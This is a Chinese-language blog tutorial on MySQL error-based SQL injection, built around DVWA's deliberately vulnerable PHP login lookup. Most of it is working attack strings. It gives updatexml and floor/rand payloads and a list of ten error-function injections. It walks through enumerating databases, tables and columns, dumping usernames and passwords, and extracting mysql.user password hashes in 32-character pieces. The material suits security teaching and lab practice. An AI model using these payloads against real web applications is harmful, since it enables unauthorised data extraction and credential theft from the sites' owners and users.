SQL报错注入初级知识讲解
报错注入
数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息例如语法
错语句
select'
11064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错
误。特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。
在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回,
可以采用报错注入。
从代码中分析 SQL 报错注入
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
如果语法错误,msqli_error()、mysqli_connect_error()会将语法错误信息 显示到
页面上。
SQL报错注入攻击
判断是否存在报错注入 输入单引号 如果报错有可能存在报错注入,如果拼接
SQL 语句带入到 mysql 执行即存在报错注入。
输入
1'and info()--+
显示当前库,原理是
SELECT first_name, last_name FROM users WHERE user_id = '1' and info()--
会报错显示当前库不存在这个函数 这样当前库名就显示在页面上。
会把报错信息返回
报错注入获取数据库敏感信息
输入构造的攻击语句 页面返回数据库信息
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
把 user()
替换成其他的函数 version()
、database()
就能得到 mysql 得版本信息和当前库名。
但是采用
updatexm
l 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32字符就要采用字符串截取方法。每次获取 32 个字符串的长度。
除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。
注意不同版本的mysql对语句检测也不同
1.floor() select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a); 2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a));
在黑盒模式下的报错注入
在黑盒模式下的报错注入 首先获取当前库,通过库获取表名,接着通过表名获
取字段,最后获取字段内容。
报错注入得到库名
注入以后语句均可获取库名
1' and info()--+
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
得到库名 dvwa
报错注入获取 mysql 账号和密码
获取账号和密码需要 root 用户才有足够大的权限
//前32位密码
select authentication_string from mysql.user limit 1;
select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user
limit 1 )),0x7e),1))
//后32位密码
select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from
mysql.user limit 1),32,40))),0x7e),1))
报错注入获取表名
通过 mysql 内置库 information_schema
通过构造 SQL 语句查询获取表名
采用 floor
报错并不会存在长度问题
查询第一个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
将 LIMIT 0,1 改成 1,1 表是第二个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinctconcat(0x7e,table_name,0x7e) FROM information_schema.tables wheretable_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
报错注入获取字段
在获取表名之后就可以获取字段名,如获取 usrs 的字段名
获取第一个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinctconcat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取第二个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,column_name,0x7e) FROM information_schema.columns where
table_name='users' LIMIT 1,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。
报错注入获取某表某段内容
现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)--+
如果存在多个用户 把 limit 0,1 改成 1,1 如此类推知道获取最后一个用户为止
本文来自博客园,作者:Colin_Cora,转载请注明原文链接:https://www.cnblogs.com/Colincora/p/16216657.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】